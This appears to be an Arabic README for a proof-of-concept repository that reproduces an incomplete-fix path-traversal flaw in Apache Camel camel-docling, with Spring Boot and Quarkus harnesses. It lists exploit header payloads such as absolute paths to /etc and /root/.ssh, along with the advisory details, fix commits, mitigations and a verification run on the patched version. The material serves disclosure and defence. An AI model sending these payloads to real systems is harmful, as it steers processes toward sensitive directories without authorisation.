
أداة إثبات مفهوم قابلة للتشغيل لإعادة إنتاج CVE-2026-95628، وهي ثغرة في التحقق من صحة المسارات المطلقة في Apache Camel camel-docling، مع بيئتي اختبار Spring Boot وQuarkus والتحقق من الإصلاح.
validatePathSafety المسارات المطلقة (إصلاح غير مكتمل لـ CVE-2026-40047)مُعيد إنتاج قابل للتشغيل (proof-of-concept) لثغرة Apache Camel حيث كان فحص مسار الوسيط المخصص
الذي قدّمه إصلاح CVE-2026-40047 يبحث فقط
عن التجاوز النسبي. فقد كان يرفض قيمة تحتوي على ../ وقيمة لا يزال شكلها المُطبَّع يحوي
عنصر .. — لكنه لم يتحقق قط مما إذا كانت القيمة مسارًا مطلقًا، والمسار المطلق الذي لا يحوي
مقاطع تجاوز لا يحوي أيًّا منهما.
| بيئة التشغيل | الدليل | المكدّس |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-docling 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0) |
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
على إصدار متأثر (متطابق على كلا زمني التشغيل):
1) A relative traversal value, which the CVE-2026-40047 fix does reject
header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
2) Traversal hidden behind redundant separators - also rejected (normalized first)
header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence
3) An ABSOLUTE path, which contains no traversal sequence at all
header CamelDoclingCustomArguments = [--artifacts-path, /etc]
argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
4) The same, attached to the flag after an equals sign
header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp
>>> PROVEN: ...
تُظهر الفحوصات 1 و2 أن إصلاح CVE-2026-40047 يؤدي وظيفته. أما الفحصان 3 و4 فيمثلان الثغرة المتبقية: العلم موجود في قائمة السماح الخاصة بذلك الإصلاح (--artifacts-path يخبر docling بمكان العثور على مخرجات نموذجه)، والقيمة تمرّ في كلا صيغتي الوسيط — عنصر قائمة منفصل يتبع العلم، وملحق بعد علامة = . وبالتالي فإن طرفًا قادرًا على اختيار الوسائط المخصصة يمكنه توجيه عملية docling إلى أي دليل يمكن لعملية Camel الوصول إليه، خارج دليل العمل الذي كان من المفترض أن يُبقي الفحص قيم المسارات فيه، وهي بالضبط النتيجة التي كان الإصلاح السابق يهدف إلى منعها.
لا حاجة إلى تثبيت docling. فالعيب يكمن في سطر الأوامر الذي يبنيه Camel، لذا فإن خيار doclingCommand في نقطة النهاية يشير إلى بديل تسجيلي لواجهة سطر الأوامر (CLI) يكتب متجه الوسائط الذي تلقاه إلى ملف. يعمل DoclingProducer الحقيقي، وvalidateCustomArguments() الحقيقي، وvalidatePathSafety() الحقيقي؛ ولا يُستبدل سوى الأداة الخارجية.
فقط وضع CLI، وهو الوضع الافتراضي، يمرر الوسائط المخصصة إلى docling.
ينتمي CamelDoclingCustomArguments إلى مساحة أسماء ترويسات Camel، والتي يزيلها المستهلكون الذين يطبقون تصفية الترويسات الافتراضية في Camel — مثل مستهلكي JMS وKafka — من الرسائل الواردة. لذلك تُبلَغ المشكلة حيث يمرر مسار قيمًا متأثرة خارجيًا إلى الترويسة، أو حيث يعيّن مستهلك ترويسات واردة دون تلك التصفية.
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-docling (DoclingProducer.validatePathSafety()) |
| CWE | CWE-22 (تقييد غير صحيح لاسم مسار إلى دليل محظور) |
| الخطورة | متوسطة |
| متجه الهجوم | مسار مطلق كقيمة لعلم شبيه بالمسار مدرج في قائمة السماح ضمن CamelDoclingCustomArguments |
| التأثير | توجيه عملية docling إلى أي دليل يمكن لعملية Camel الوصول إليه |
| الإصدارات المتأثرة | من 4.15.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.2 |
| الإصدارات المُصلحة | 4.18.5، 4.22.2، 4.23.0 |
| JIRA | CAMEL-24893 |
| الفضل | Zhixi "Jace" Sun، باحث أمني مستقل |
الإشعار: https://camel.apache.org/security/CVE-2026-95628.html
ذو صلة: هذا إصلاح غير مكتمل لـ CVE-2026-40047، وترويسة مسار الإخراج لنفس المكوّن هي CVE-2026-95629.
أصبح validatePathSafety الآن يرفض أيضًا قيمة وسيط مخصص شبيهة بالمسار تكون مسارًا مطلقًا، فيُفشل التبادل برسالة IllegalArgumentException تفيد بأن الوسيط يجب ألا يكون مسارًا مطلقًا. ولأن الفحص يقع في المساعد المشترك الذي يتحقق من كل قيمة شبيهة بالمسار، فإن كلا صيغتي الوسيط مشمولتان.
أُصلح على main في apache/camel#26738 (fd3bc8e7)، ونُقل إلى camel-4.22.x في #26743 (e9233c37) وإلى camel-4.18.x في #26744 (59d30af1).
اضبط camel.version على 4.22.2 وشغّله مرة أخرى. تم التحقق مقابل 4.22.1 → 4.22.2:
3) An ABSOLUTE path, which contains no traversal sequence at all
REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path
4) The same, attached to the flag after an equals sign
REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path
>>> NOT reproduced: the absolute path was rejected too.
لا تُنشئ CamelDoclingCustomArguments من قيم تأتي من خارج بيئة النشر؛ أزل هذا الترويس من الرسائل الواردة من الخارج قبل أن تصل إلى نقطة نهاية docling؛ وتأكد من أن المستهلكين الذين يعيّنون الترويسات الواردة يتجاهلون نطاق ترويسات Camel، بحيث لا تختار الوسائط المخصصة إلا من خلال المسار.
نُشر هذا المستودع لأغراض تعليمية ودفاعية: لمساعدة مستخدمي Apache Camel على فهم الثغرة، والتحقق مما إذا كانوا متأثرين بها، وتأكيد أن الترقية تحلّها. لا تستخدم هذه المواد ضد أنظمة لا تملكها أو لا تديرها.